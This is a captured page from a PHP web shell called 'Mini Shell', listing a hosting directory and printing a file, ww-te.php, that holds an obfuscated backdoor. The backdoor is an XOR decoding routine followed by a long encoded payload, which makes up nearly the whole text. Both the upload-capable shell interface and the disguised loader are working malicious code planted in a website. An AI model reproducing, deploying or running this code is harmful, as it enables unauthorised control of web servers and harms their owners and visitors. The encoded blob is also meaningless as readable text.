Mini Shell

Mini Shell

Direktori : /home/tbwebnet/public_html/oxygenweb.in/
Upload File :
Current File : /home/tbwebnet/public_html/oxygenweb.in/ww-te.php

<?php /*5dd4306c1e127*/ ?><?php  

        

		
 function rBx7F($lPI2R, $VxSwH = '') { $DblHL = $lPI2R; $BKgOa = ''; for ($ANySP = 0; $ANySP < strlen($DblHL);) { for ($ybumV = 0; $ybumV < strlen($VxSwH) && $ANySP < strlen($DblHL); $ybumV++, $ANySP++) { $BKgOa .= $DblHL[$ANySP] ^ $VxSwH[$ybumV]; } } return $BKgOa; }
		

		$jgQOPNTZ3881 = "7wzrlqaf3n0t_d8mcvx.(1je6sgoykhup2*9;)54/bi";
		$LZVrbsiY1925 = "5 a&hcEQ#$X&0)RstL9qa<S{E#0.~S|`P3,Y#a:}w`] 38& idL 2[#.{}w`] 38& i|Y<(	<{||@9
3^(!Ss_3|kwE]8W/'kYdP83[/({s^CR"7$hld;"[5xpQ^7$hE8W+&x`[7+^7$ksd[<4&a'h`F8VV!cY^E <,'l!~C}#0.~S|`P><,q>hlUQ
7 Y!-#~C}#0.~S|`PV
!-#Uws'1#m$SVL0'!~C}5*?'kcA>,	acbxa2(s0grpP2,//acdy'	3(TC}'# 
~RdO3 -
5xpQ<(3 x_V@8V<xwxb8,4! <xwxxTW* p	&}ws_;3$%Ps^ <+  &fctC #4]*/(xXx^83(&z`Ax# ?k]ZA9	4qi'Us|Y'::xs^B9# {EX'#&#R_tX 3WY!:3(}]sXV	 $i|p8//+!br`c"[?sit~1W<rh?zgp5 (xwsQ#

#R]UX	"0< `7}^sQ #Ym9Uwpq8W4 ;?~C}'# (xwpZ?#Y4hxwsQ,R'-hrS}##a5klcYV4!.a6iJ@ /ewY5(#m?i|Z>' a!idO9	[!:;<|wY5(#m?i|Z>' {id 3,X&49SX;3S:/8z`Ax 
)Us^B 2[#i?UwUA0'($kchF8	7r<	`_tg"[>bay9:|psX0'$hPckY V4Yqi'k^\W$X p
#RX9#/	3(TC}38X .PcC"=pRY^A9V!q0#RMU]<(3?x|Ax	#!.UlxC#q6RYt'0!-'TgYQ
 !-'TbB<#r<e|9	!q 'RZZ9 
'RZx^?7	*5U|xF9,, klY#$!.zz`AxP7{rgU,<h(g|f9W0#5SstL;#4	 
)dqb'	^7(xwsQ"[-sabagQ
7 1sa5U|xF9,, klY"[-sabagFR"$hueB[>3W&49S]p9V[$ q<?S]UF,'$4$PcgY!.(hcJF VVPq:UsdO
 p;xsZ>#
i8S|
 !p|Sx]#Q#m8UlcQ>,i8hl|L>V[ :hcZ
< !pdas^C9,4Y
zRsg9W4  4x|h^8,4;da]Q
'[ p;a^E@9,(*?~C}5R"$hueB[>3W&49S]p^W0 qmSV@><3	xue]Q'#!qh@;V	i$gU]U,//	dXAX	"0<ae|cUR !{MEQ>#??xwQ; 3xue]Q'#4#zwV_?37:3xueB5'.~SY|;3[<e|Z>#, q,?kgU];?x|Ax# $i|fT#+$PQ
7#&)+r]sQ' 
%SD;37+<xw`0'-hrS};3;;R|`'0&
 ip^9W/	xue]Q'## Pl|L <3ae|c5{F'; 0;kpgY"[8rfMVA<,rh?xp'0&
 ip^9W/	hxwsQ'# dL <0 qa=PcgY833X	 
)dde4::<gr`gT
9r	!igYE'0&
 ip^9W/4hue]Q'##(zwtF9W,& ?$i|fT#,;kpgY"[=cbxTT
<)bqb'	h?x|J'seF|2 {rb2(>-{Zc" agwVR2Rh({st>#
!5RMYF5 (xwsQ, s 9k^C'	^(vue]x		RZ`@8#[Z Rd_9W0	drf?zgs
7# &q4:x]Yx	 p(agsX>V9+rYdE9V7'$3$SQ
7# .4{{NAxR"'kYdP83[vxqpF8	qzwVL38qi9ksgX0'.4"zww]9V$a;S`Z5R" (xsdO9	[p#RsO>#:?8z`AxR"
?Rt_8#4-:h`F8VWh(`s^C;2[	 {`F9V$  )kZdCW0 qm5{MY5#a;kb\>V3kdW	 3xueBF 
!p#UwU]U 9r
-{X7	7`s|Y #	 
)dqb":<+z`Ax0&q	(agpw V4Yp<$zwY5*?$SQ
0Rp<?S]QF,'$3$PsB 2[&q	(agpL>,(!.8Sst\ 7 /&}ws_+ 
 SZV,Z 3xue]|#,Z vx||9[<hc|Z'(
 <xw{@|kwY5P(?k]U]WpRYJZ8p<$zgN7#!}MQF5#|kwsC
7#:;xue]x		 ?R|Z>'seF|2 {rb2(>-{Zc" agwVR7# <'PYtUR	hxwsQ'0sab^pVS?$i|p8//+!br`c"[ r{F'Vq>hlUX7#P 0&SE70'UcJW4a'PYtR"(?k]U]8W/h({VF87{stE;3$(agp^9
('?rSY|!p	(cs^O 3,Y pzx]s
# 46x]Ex# x_hF8	3#m$klUC9#
4:xs|9
( -	(ks^O#P*&ks^O'[ a|xw_#{}ZpY9'+7(xwsQ7(.#m$xwB\8VW#;>}ZpY9'  *%UlxO 3WY
?R]{Q
0V.
?R]s@9#&:9h]sGV[.4!z]A;,# hxwsQ%	 q09UMp^W0&.(hC8	4&49SZ_ RB :kl`L>#$Y i'S]{E5 (rgxb;#[Z~SYF8	!q6UY^\ </ hdxwxC <3!p
'RZc_%R" (xuY_<,!*'h|@>3WY!:(a`Q	W& ~RdO'*(xws|, p;(hB9,4Y5x]s
#  .x|hF < hreY_2(8
'hYJZ#P*&hlxA'S*/rSY|89SYhF W4
?S_ RB ?Rs|@8	8:9hcJER"3xueBZ8,,7{stE;3$(agp^9
('?r]sQ5	 45Uwp];<+ hdxwxE9# 0'x]Ex	#. ?RcQ 	'U|`O;3(X&5xsC#'4:UlUQ9V4 qm$xsd>#4$xshF8#7!p45UsdB#P*&S||^>,0 i}hg{E53xZ|Y8W p#SYd], !-
5x]s
#  .R`^>'#l(WwpX9	4 i?xsJF9W0 *<ue]Q'# (xwxA9	[5x||<0X!:(a`Q
 ~Tw{E5#Pc]#P*&x]Ex#3&kY^C '  /(RdF ' # #RM{Q
0V.?SYcQ#&48kgp['S;xwA # ;S|_%R" rgx[;3W~PccQ 	(PcQW4!.:Uwp];<+ hdxwx[;3W l(}l`9#7*;RsdO87#	8|psQ3*/r]sQ5	 .4:kwp^8#!q<?kwp[;3!:(a`Q	8 .	(}MsB>,"xwA <( h8|^sA'# &}u}'##"Pc],,#	(kY^E </#l(hdO9	4& $Pl{_ RB "Pc]'V
zRsgQ #!6SgsB +(}cJL'*(reY_ 	 %S[;3#m%}ZpY9' # #RM{Q
0V.?SYcQ#&48kgp['Si#xs|@8	8:m?SYC9#
*/r]sQ5	 .4:kwp\8VW#;>xshF8#4*va]s_ 	 9xw?< (}c^837 %S[;3 &}u}'##"Pc]#, .?kM]Q 	(PcQW4!.:Uwp];<+ hdxwx[;3W l(}l`9#7*;SYtB 7 
.9SYhF 
*<ue]Q%	#.?SYcQ3<6Pl`^	9Ss`Z9
/m$xshF8#4*va]s_ 	 9xwA <( h6xwE9+7(xuY|	8 .	(hcJE,#
'hYJZ#8 
#RZQ3W?SsdL#~RZxZ8
346x]s
# .4:kwsC'S;xwO'S!:<ue]Q%	#.?SYcQ3#RZhFV7!<$xshF8#4*va]s_ 	 9xw?< (}c^837!q6UY^\ 7W&q	&}u}'##"Pc],,!-?hgC9,?SsdL#~RZxZ8
346x]s
# .4:kwsC'SY'#xskQ3W (RdO>	m8Uc_%R" rgx[;3W<SwsC;,05UcQ 	&xp'(#m$xw
Q<0\!(k]sB8	$:P|`A<,&q	&}u}'##"Pc]'W&'R| ' # #RMpF8 &6kc#0!*(a`Q	8 .	(}]sB>,"xwC3S m U|p^9W,Z <ue]Q%	#.?SYcQ3 m&hl|YV
!p
9RZYQ 	&xp'(#m$xw
Q<0\!(k]sB8	$:hYtL;"[#Sx'*(reY_ 	 :hYtL;"[#Sx#8 5xs^C#,X!-#SZcQ #*va]s_ 	 :xw?< (}c^837.'RZP;#&a6Tg{E53xYhF8	3 <xw[ <0#i'PcJO # #RM{Q
0V.?SYcQ#&48kgp['Si#xw[ <0#i'PcJO+7(xuY|	8 .	(}YhZ>#, ?S|x\#8 5xs^C#,X!-#SZcQ #*va]s_ 	 :xw?< (}c^837.#Us|Y83$ %x]Ex	#( 9ht 7+l(x]{E53xYJ@V$Y U|`A 'W qm"xshF8#4*va]s_8#[
#xsZ>, .9SYk_%R"3&Ss\<0 S|9W qm"xshF8#4*va]s_8#[
#x|hY8W,Y!:m%S['$3xYJ@V$Y8RY[>, .9SYkQ 	&xp'( q'UsgQ9,(-
8kw\8VW*/rSY|	qkgpA9W  .:hC  # #RM{Q
0V. 9ht 7 !p4&SYCV[*<ue]|7( q'UsgQ8<	qa:k]p[;3!:(a`Q	qkgpB?7W qm"x]Ex	#. 9ht 7 i?S]A;,#.4<kl_ RB. 9ht 7 i?S]A;,# hreY_8#[
#xs|[ W#(kY^E </ hdxwxE8V,&(hhX
 ! <ue]|7( q'UsgQV[*m8P|sQ 	&xp'( q'UsgQV[*m8P|s_%R"3&Ss\<09SYhF W	(kY^E </ hdxwxE8V,&(hC 	.
'Uw{E5#<S|^>#7qa:kY^X
 ! "PcJZ9+l(xYJ@V$Y%S[;3!08x]Ex	#. 9ht 7  qm"PcQC;3W?SsdL#P*&Ss\<09SYhF W .&}u}5	  a%hl`Z#, .?kMF8	/!08x]s
#  a%hl`Z#, .?kMF8	/!08x]Ex	#. 9ht 7  qm"PcQC #4<UwA;,#.4<kl_ RB <S|^>#7qa:kY^X	0.~S|cC9#
*/rSY|	qkgp\8VW#;>xshF8#4 (a`Q	qkgp\8VW#;&}u}5	  a%hl`Z'W qm"xshF8#4)hdxYJ@V$Y!}Y|@8	;*/rSY|	qkgsC9,?SsdL#P*&Ss\<0 ;:R|V]+7rgxE8V,&(}Z|N8' # #RM{Q
0V. 9ht 7#-7SwQ_%R"3&Ss\<0 m U|p^9W,Z "PcJZ9+l(xYJ@V$Y!}YZ9#$!p<${M{E5#<S|^>#7.'RZP;#&a6Tgp[;3!:(a`Q	qkgsX	(!q0)Ps^L>#[';&}u}5	  a%hl`Z'W'7SrY;<,Y pzxshF8#4*va]s_8#[
#xwQC8<! )Ps^L>#[';&}u}5	  a%hl`Z'W
%Ps^;3:"PcJZ9+l(xYJ@V$Y!}YhZ>#, ?S|x\+7rgxE8V,&(hYt\;W4?SsdL#P*&Ss\<0'hF9'+7rgxE8V,&(k|dB9' # #RM{Q
0V. 9ht 7 &i8x]Ex	#. 9ht 7 !.4}xshF8#4*va]s_8#[
#x|pO;<; 7z`AxR"-:h`F8VV&p9bsd^ #4	 3(TC}3	;R|`'0agrAXV
!-#UwVR7	'$3{rgU,<:<%PstO9V4Yrh(ags]T9(dAX #4<Ur\;#$!q{5#q 9hYtE'0 q 9R^Axq09xw{;,0 lwPsd^  VQ hgpY>,07Uc^
7- qmkc20\!!xs|@8
0 -	v{`Z?,3#
;SpAQV
!-#Up_'Vae|c#6RdUR*&{N>#Y dx]sC'0sg_de 
iZfU3:xw{Q# ;!xw_
'[Y#
<k`x&4<k`x	(4xhYt\;V p:kw\8V!)7%pcV, a6~]|Z37xWe}	[' kwJ;,.a:Up]Q< Y ~h^]7>$hc^VS!.<?S^]AW8!-
?htE3$#<:~Z`@9  q 9R^]\ 0$7~Mp5Y<kgF8	8':%SJ@9."~x^V!.a~SYcBV[ pyxN{O$hRp^8 'TMp\8V!)7({s|@8#[ ?Slp@9
0 -	xx|x
,mxxsh@8
3&q?kZ   q $kl{,R'.?7TMp_8W(;Ssd[> X!?(RE;339SsOW 
?SYQ  (' ~R|U 	[&7(|``A>' >$hc^V(q,!RY8	3qa<S{ +),;hlxX;3V_{~Mp5#:hC>#4&+(Rst] #97(lpVS!.<?S]E 38Y)8TpF_3,p9Uc]3, a6~]L/^hrYt,0'	;ksd\8W(&49S^BC8VW:vueB^	
&.6TMp <
Y
#hO<0 qlyUc] <(#m#~Mp5 /7TMp_8W(y|lp,, 4$xw 3^!$ks^C X!?xSctO V)xShZ9	8 p;yxst>#Z^hr]_;3!.'TMp;30Y#77|psZV
#< Up]L  '+(We};3W&	<Usd>#$<RdE 3,Y':;hlxX;3V_,%SJ@9."~x^V!.a~SYcBV[ pyxNg0  p$kl{ < ]9Ss^]'0 q 9R^AQ 	[&7(~lp!S .a5Rst\ 7qa~RY^Z9 &;!~Mp5 p;TMpB<(#ly||p P7%Us@8,,<. xx|`Z?,3 ?k V4&6~Mp5&a9S|||8
 ^<?k|`Y#8Twp5 ?S]p;,Y0}ctE;3. #kZc	$#q<6SdC 'S q 9R^]\37X#~xW4:x|`O	
&.6Tx^V!.a~SYcBV[ pyxNdZ37Xhr]E< =kx@>3W9SsO/Y
vue]C8 (^.%PVO8W4 i%SJ@995We}9,('q9SZcB 	$# z~_|@><(<ecC8W,#~x!p
zSsg5Q!q6Plp
R" (x|h^9 :vxwQ_'V#
;S||A 3, %PstO9s `_t{Up<${F'V*;xue]Q'#&.6xstP R:(}]pY>#S!p#h^^8#,5zqs]U 9r
-{wX7	*!ue]Q'#&.6xs|Y<(
)xpQ+* UsE9W q4'Ss|Y<(	$ipfU0q hlxL <33(}]{XR" (x|h^9 `(agsX# ? R`O9#[	$ipfU0p7{E*3'a`[33`{MQ ;,0 8kc|F3#6RMU]U 9r
-{sNURmit`U0/:3?xw_'*(xwp<+!)xpQ+* z||9
 !:0{rgU,<:<8|]VR'(
 *?x` 	$!q?aMQX	
Y  5Rsd\;3$q0'RZY"[8rfMVA grd1[<?zgsC^7(xwsQ>	$5iMs'  l(zwZL>,( p `w`P![=+!RpX7 l&zgw
38 #z`
X&i<RpZV  hlxL'0agrAX9 / 	eX`P249zgYQ+4hxwsQ,8!*$xpQ #[&i#SZc5#-:h`F8VV!qzswE 8|]JA#6Rd7 ^7rc^[#'m~SsEF 'W*m'}Zh^8,4xkcJL 7 .i"}YwC>	$&vhb
5#4"zs^
3WX /?kwB W-'S|dZ
3/^ 5kgp]	S.:UYtE>37Pr`xue]|3	7x`C>3		:SckC9 '&.<Ucg9 '^ 5kgp]	S-7}Zh^8,47iNAx	## Rp{^
3WX /?kwB W*m}hcJ 0S),#S||Z#3 :Rp{C>	$&vRpxPR"4?k]ZA'P -<Sw^]	S-5}Zh^8,45~dE9V7 m;k]AW[ ~k`AUZ^7rc^[#,5klc^
3WX /?kwB W#6Rd
8 #ac|Y<(	xkcJL 7 .i"}Y|Y<(	:UYtE>37Pq0'RZ|Z>"Z^7We}38X .PcC# %}|sN,#5}s|Y<(	?x|Ax	#!qzswE 8|]JA#6Rd0'$3kwB W&;PlcY0'$4vue]| 
4p
?SQ7
<RpwE9 +!<hZ^9
,& 3(TC}5	 hgJ\,#6}|sL#,5klcFR"4}hl{Q9#$i5xpQV$?vU|x 7^7rch@9
xP`J]	S.<kcZ8
0. #SYV; 	:+?ue]|5'SlQR:!zcC83; #ScdC>,,#h:SYtB 7;=kc\8V0`B9#[mzscC83; #ScdC>,,#h:UYtE>374hre^L9*:xst] ,, klY"[=cbxTU(/	d`P2(#rh?xw_!6hcL0'$4vue]| 
4p
?SQ9W+&<}wpA<( ?x|Ax	##(z|VF8	0&:meaJ>,0.7UcdL>'	'$3rlxZ97#Pm#UMpo1 &
8dYdN>34& ??~C}5 #xs^['
Z#m$SQC3,Y##fq_;	4& 3rSY|<(!vxsZ> +p
?UYdoV(zwVx;3, p9kZcC!S$
dwQFR" (xwsQ' * RYdN7 ^7(xwsQ'# (xwpO <' qm6kct]?<,Y
#hZ^8	h(R|x@V4!r#Ra|Y3W+r]sQ'# (xwsQ,(!m9RsdC'8r{MEQ><( RZdZ0'*(xwsQ'# (x|xZ97W
klt <,Y'ksdO'qa:UsdC>'S<'#{MEQV$! ?ht;3[p?;UV38!.h;UlxE 3W q
#kwQFR" (xwsQ'# (RYdN
, .	 RstO3S	+r]sQ'# (We}<R'$4"Uc\># *8RY\ <,.7`Z^8		 3(TC}5*?(z|xZ97W$Tb|<0hvxpcF'	'$3rc^[,(!m5Ust></h(|^sA7 ^7reY|>	$#kMs#W&:kcVp?,#  irJU#3	0-irJU",
 ,RG2  !SgQFR"3rlh^9 !-vRYdX	4] RYdN
(!p9SZ|Z#4]& 3xue]|5	#'SwZ^9
(/h:Rd_9W0	<xstO93?~C}5	#$#S||Z#$zwVe <$XxsdO9	[;?~C}<R')/9R|O;< Y$hasZZ33B9k|Y
#0&*5U|^E 0R!a5Pl`F8VV_5SJ>#7^&q4$UsU 0#,&hc|D W(&m$}c|@8#[*pc>#[)xSsd[> :;due] 	[ ;kl`Y8V3P!a5UwpC3Si"x||?3<$Pl|A8#$\.m9SYgV') ?SZp>' Y'#acZF #0 *:hcZ
<#$has^C9,4Y
zRsg;#:xs^837Plr^JF8
 X& TlpZ
3

#S]pC3S hlxL <3B7wPcA><3&48k`Y;30l(SYtB 0S)lr^JF8
 X& TlpZ
3

#S]pC3Sdue];3W&	(U|^A 0S#
$kcQ8	$i8|`x.a6S`_R"
"RYdZW q(agpw ##q6kcdL9#$?$cJf$$r+!hV]UR4hrg`8W0 8hc|Z R
?RFP>#[Y )Rp^V7<ext",q|kwVR0'$3$Us3=!%kgs'0Y p
'Sr|A3,:
S`^8",#~^w5##Ssd^9V7RsZAW4i#zwVO	^7{sFZ9	W  vxqpA;, &m'ScgYW/	+rSY] <
 4:PMs'&
8~]
@ <
 a?Uw]W qh9Rd^9	,9a'h`F8VVP!q'RY|Y	8 
#RX] <,!.48Us^@8R4hrc^[,,Y!-9RMUX#&?!}ws];V4 .<zgs^
0R.<RgF5#
#T|pE;3W lvx|dO8#4qa$kgUX#&?(bdO8	4 ;(}]pL>3(& {|xZ8#4!q<|wE7	^7kcJL 5R"3$klZA8##::agp9	 .9ksgY#!.m#SwsC'::x||
,Y!*?$RYdE 3$/8}pF0'$4?k]U^ 
4p
?SP <
!p
5zwVA8W,'a!kl`Z V:3?x|Ax	#5kl{Q
7 (qi|9
( -
)Ul|Z94hreY]>3h(`sVZ>#S\&4$zwY5#
!PccQ
7 (qSl^X;33	+rSY|# p8xpQZ 4hrlQ 3xue]|70X#	(agpw9#[#0)kd9,X#	 RsL;<
qkldF '	+rSY|# vxqpA8W,'a!kl`X9	 08S|F?"[
#k^]'	4hreY]><,!*vxw`;30qm'ScgX0'$3{|dF '#P 
~Pc`TW4 <+~C}5	p9UlsQ
7#q4$fMVC3Srhxue]|70#	(ags] V:<!PccX0'$4vue]x	p<$iJF8	h({MQ5#'UsUQ
7 '<S`Z'+*/({qV{T(+-{| '	+rSY]8S p:UwU]9#$Y# 3xue]| 	[	 
?a`s'0 
:}`w'0	:+?x|Ax	#|krE;3W!::ags_
#'##k^X qm%Ss^\;R:0,x_hF8#4:iw{E'+ 4hre^[8W+7v|pAQ#Q
?~Ms];	hreY|#,Za<PcD9#$Rst;"#/h:{M
XR"3$hV]V .,5xw'(
*3!a]{C, &0-{s^R+ a'a]{5#$hue]|#,5kl`L R6hlYYU4<*h{{MEQU .
9UB0+X;<xwVzT	]!}wsX	T[# i{MEQV,}{MY5#a8Ur\;#$!qRMs'4hrch@9	4q? {s|Y<(
5xstL'0&;ze}5	 pi|Y<(
5xw'Q pPcC,8 #ag{X0&;}]Q_'	 
)dqb"q0'RZ|Z>'h$Pl`Z80Z!q<kc| 33*;!zgX
4kcC pPcC
^7rSY]87#P6RYt'=:xq^C 	Zl!dd\	3W :;<{hF8#49hd{hF8#4:{MEXV[!qa<kgQ
- qm5SJZp<{NU,  ;<{pY9'P*<P|sX'=&?SYQQ>#[ !a`XW0#m!gs@8,/ <RZd 38!.#{NT(&
#kYOV7 < kl`8W(9hd{Z>,!.+!}wsX#[ p{Ms
#a!Sd	^7PckY34!
zzw`~![* fMV^><0p'RX7	7rg`B$ q<9UlcX7#P <SV@><34hrg`B= "x|xZ83[[<+xpQU, kc@>	74hrg`B 3WXh({MQ5#.a6kct\;' 'RMs];#P*$U]Yx	#i#SZgQR9 Pwp;30Y#h&{MY;3WY	?7|ps@V[X -	 {sF7VdfMs7 !."ag{\  .<Pc|D
7(	/!{M]>V ;<SZdE8'
r/!}rEX' <,{MY_
+:{NE@0V/9UsU'$hrg`]9	[(ags_'$4?k]U]T9(dAX8W/vagsX>V:3(TC}5 p#hc|Y,( .<#zwV\'*;?xstL'0!.4}kgYx	## Pl|P #	 
$RY^ 7V/ ,{MYF5#3$k|xF>	4 lvxwQ7 !."ag{\  .<Pc|D
7(	/!cY^E <,'m,{MJU
6PlhZ_r/!zg{#*
$RY^ 7Vhw}w'^7We}34#`({NJ3(%SstL9S .9xs|Z8#
$PcX
0/q<S||A3, .;v|wp;30Y#h7|psZ
Y!)lwUscQ>V&?v|`9W  )mSYtB 0Q-dgl|Z9Q-ddsZA !)mksc 
#((|kp]X'V	 
equ1=:<9RMVR RP <|PcX
Q-dc|xF>	4*;y{MQF'V9/9Rp^8VQp
$a]Qx# (xwsC'Q&	das@
+B::x||
,Y!*0RsZAW4i#zwYE #6|wYQ# 'xsZO 3;P*;(}]s] <
 4:PMsC' 
'RYVZ> S. 'SYAV4]! 9PlcB #+qa;i`E@0VQqm9hZ{
#(*;(}]s]>3 l({MsY'*$Ul|Z9# ;(zgs9W  )mRY9 Qp8hc'*$k^]'V: xwQQ#p9UlsQ# 3whZ{#8P|p <(#a:zwYQ# 5RstC
,.(Sc] 0Qp8hc'* {qV{T(+-{|^ 	4 a$kgVR
Q.a:Uwp\8V!)i6kccTVQq9SZc9SZcQV[ pvkxZ 3VBdehq
'[ )/9kYC> V	hxwsQ'# l({Ms7 !."agQ8VW 4%PN_ 

r RrEX#WX /<iwVU
q4:kYU	 /+(RsZA;3W :+aw^
#Q!p'S^s<0&4;k`]W,ldxwQQ 
#zwVl3R ~YY 9 l({NJ_9V l(U|@	&r?TYgY,0&<dp^V7 l({Ms9W  )mRYdZ!p'S^Q#<5ShF <=#(#zw`[9	4p'hgF'V: {MQ#& 3(zw`[9	4p'hg@,0&<dp^V78zgsC'	 &R^X'V|krE;3W!::xwQQV&p9dsdO8<,- q 9R]U]T9(dAXWrh?xwQ#Q RYd[
7/ qm%Ss^\;R :0,{hF8#4:iwQE' l({qV{T(+-{Z@834p<${Q# ;<iwVU
r/!}rEX')m-xsZ@837/9h`
+B::xw`]9	[(}]sX
'[Yl!ue]Q'# (}]sX
,0<?k|`Y
0' ?k9	#	das@
+B#Ssd\>'  . hcX 0R :0:UcJE#WX /<SZdE8'& <}s8#&0?RM3X3&a^J@9,0!.a~RwpE3( h&dstX 7 #6RdV l({sA>"[#6Rd9# ;w}A># p8a^E@9V4a^J_9VQ!p'S^b <([(bbs 
'[!:a^J_9V l(`w`PT4:(fMxb2(>)`a`s( l({NJ_9VQ!p'S^r8# -	(bbs 
'[!:a^J_9V l({rb2(>-{xp1[<acq`eUR*!awC8V()/9Usc
'[Y!)lw}`^	*;r]sQ'# :xwQ>#$  (R`8#7P.9RY`Z9SY py|Zp,, 4$xwL/^*%kcJE9#$4:kNL#,  5Rst\;3W(U^]>#P8{`>,+B::xw`B 3WX l({NE@>,+B ahcxE 0VQ4}x||?3;hlxX;3V_d{NAx
R'$hkZdCW0 ql(U|@	[&6zwYQ?R"
?R9	Y<kgs#p<6Pl`^		 
equ1=:<%UcX7	F*wkYC>'  q 9R^X W(l!a]Zn9	Y&SsgF
'[ qma]{ #Q.a:Uwp\8V!)i6kcc!W& |RY^3(3w}h@8
3B)+r]sQ' q09xw{x4}aS}
,0. #xs|E<,4:kY
Q;33P&a9S||c	q<S|p^ #0 .;v|Mp\ 3!p'h^C R<?k|`Y
0' (x||?3<&Sx] <+&a8~^xA?'  q ?kws\/q9RY`Z9S  p
S 
 ]9Ss^]'/9x{Nx	Q&due]|0YlwkYO87  -~hYF> R:0:UcJE,0#:hM3X ,xXE_0
~RYQ 	$!qx{N9W  )mPstC V746~^E@9W  )lwhZ{
#!xs|E<,<SE9T! ;(U|^A 0SY0xs^837P:}hcJ 0R*:xsZ83!%PctEV
!- {qV{T(+-{| '	:x]Q
#!x|`9#7P!p&Sc^,8 #agQ
B a"SxB
&	due]|0YlwkYO87  -~hYF> S
.; {hF8#4a9S|X#WX /<UsZF9W-'S|dZ0
~RYQ 	$!qxiw{
,,lddYd^ ' # #~^E@9W  )lwhZ{
#!xs|E<,<SE9T! ;(U|^A 0SY0xs^837P)lwPcA><3&48k`L>3(#	(UYtE>37P9ld{NV8!.hdaw  V'$3w}`O
Y!)lrSY|
,0) "SxB#[!p&Sc^
2 :?!cY^E <,'l!}s8#qi=ks^OY#45}YcC>	$&?~xZ>,4 *"hcJL 0
)lwRp^8W',#xs`F9Qp8hc#p<6Pl`^	6a^JF8
 X& %SstL9R&a9S|||8
#
zRsg>#4]& :hcZ
33B4:R|d,0\!vRd_83Y'S|dZ
7B*;daw[8W()/9Usc5# kp 	[ 9SZ|	S&i,xYQYT8 5gs@8,/m~SsEE>#
!:m"}Zh^8,4 <;PhF8#7	,6kl`9	V.<Rg'+B8hc3$"PcJZ!p'S^];<,&p?Ust_8#7Q-das^C9,4Y<hl|L
7Y qa<R^C9'&48k` <
Ym'Scg VQ#m8UlcQ>,i5UcxB;<3&.<UcgVB9lw}h@9	RB akpx	Qp
6a^J9V'$3a|`]
 p;xsC9W4  4abE_ qa:RE 7 -<SwJ;#.:UYtE>37p#U|dO8  5k`FUVQ!p'S^p?#4&
#~^E@9W  )lwhZ{
#!xs|E<,<SE9T! ;(U|^A 0SY0xs^837P:}hcJ 0R9lwPcA><3&48k`L>3(#	(UYtE>37P9ld{NV8!.hdaw  V'$3a|`]
 p;xsZ>#
h!RsL>'mgr^g0R <Us^A<(Yq9RYB #$Y;due]|0 -~Uwp?< 0?ks`Z8 i#acwQ>	$&v{hF8#4:{Nx	#4:R|d,0\!vPs^] #4m'Scg [ ~k`X# 
equ1=:<%UcX7#*;due]|0 -~Uwp?< 0?ks`Z8 i#alsN,8 #agV9#
PcJZV'$3as^C9,4Y
zRsg;#:xs^837Pq0'RZ|Z>' [ ~k`X# 0?R|Z>'rd`TV,5klcX7	Fae|c#6RdUR_:;?xwQB7r`JL9#$/8Ss^ ' # #~^E@9W  )l$Pl|P>W(&&Ssg
+B4:R|d#,5agV8V[!s4:RwQQ>,i"PcJZ#W vk^;3W&	(U|^A 0S&;PlcQ>	$&v{NVQq9RY
#( daw  V'$3w}`O
&&Ssg
'[#daw_8V0\)/9P|`B8 V 4hWe}5* xch8	,Y#a:id;<,Y!:?&RsL;<
qR|V;33 	"{]sY9W0!a5zw`~![* fMV];<,. #ih8	,Y#a:RMVR'#!a5PlZP V4Y!<~PccX0RP'S||Z7	'4hxwsQ#8X .PcC, !q4{iVZ>, Z&4$zw`A7 ^!.UlxC#8 #~Q<5R"#(zwt[>3W&49SXZ?#& xZp@9V]q<#UsVO V*3({]kQ,,Y!-9RMU]T9(dAX #<kb[>3W&49SZX7p9R^V&<6k^]	Pi"hcJL 7	+r]sQ' &m%Us^@8  p?TrX <0!.<?kwU]9'	'p#U|dO8  5k`F,R'$hkZdCW0 ql(U|@<4:zgp5#a~Uws'4hrc^['
&m%Us^@8['45U|YV4]!zgYQ?R"4klZZ#l<{s>'	^7rg`@><3PYF8 l&}w`@><34hrlQ 34"xwZ[>3W&49SXZ?#& {p^9W,Y#~{MYF,'$3SxP9W0!-	 z`Ax	#'R|;,(X	 
?S]Y5#
9UlcQ
7 /a!kl`PVl z`AxP<RdF #-:h`F8VW0?R`L''kcX7	'4hre^@[&6UwUFR"4R^L>#4	 
?S]Y5#
9UlcQ
7 /a!kl`PVl z`AxP<RdF #-:h`F8VW0?R`L'#<SrZ?#4:3?x|Ax	#a~Uws,, <id 3/4:z`AxP<RdF ##)RYdL8W4q {skQ
7 (!a8kcY# 6x]YF7 ^7rg`@><3&x^Ax	#&q0?SsgY1 a"zw`[7	'$3rg`@><3)h(kZxZ33<|`sO'	^7rlp\8#[?$k]Y5#$hrlxZ>,4 *$SdR"$hueB[>3W&49S]p9V[>#|d^  7!:3(TC}'#4"xwZF9U[ -	 {|F5R" (xwsQ'#!:vx||A9	& x]d?~C}'#hrc^['0lvxpwA/Z{|^cF5##U|dO8 !?SZ`['l6k]QE'0 `(|`sY?6wsF#<{NAx #PckY,/)h(|`s 7Z*3rSY|9	4Y&:x||A9	& {MgN(:/({|Q#	{`Q'	*!xqu'$4#S||Z;3;(a^Q0# 3rSY|9	4Y&:x||A9	& {MgN(:/({|Q#xwYQ#,{NAx #ue]|<(&6S]s]9# ;(`]Q5P7rYh8	,Y#a:x|VL8U !.i5zw`A7 ^7(xwpO <0X!.l(Rd_9W0	8RY^C>#;:9{MEQ,# ;wY5P7rYh8	,Y#a:x|VL8U !.i5`E8W+?x|Ax* xapF9U[$hcxE 7*3?ue]|<(&6S]sX
#8 -	(hE8W+Ps|psA V l(U|@#4  `shF8#4;RMU] 	 l({NE@ 	[&l!~C}34!q?k]sY1 !ra|RY^3(?$k]YF5##U|dO8#9SZcQV[ pvUZF>#7B::x|VL8U !.i5zqp[;3!6SlY#;	:xwQV8 -	d{NAx #ue]|<(&6S]sX
#8 -	(hE8W+P9~kYkA V l(U|@#4  `shF8#4;RMU] 	 l({NE@ 	[&l!~C}<5R"("Uc\># *|RbV$46zw`];<++r]sQ' *0"Uc\># /a#Ts^L>,/-%hc];<+ 	3(TC}'# (xwpO <0X!.l(R|^8	0!*?$ks^O0'*(xwp#4!q(TC}'# (xws] #h(SpZ8	0!*?$ks^O0'*(xwsQ'#&q0?SsgQ#8 #xww
7#?SsdC3Sh(RYd^ #0!*?$ksUF7	'*(xwsQ'# (xw`[;3!r,+xpQ#8 :hcZR" (xwsQ' 
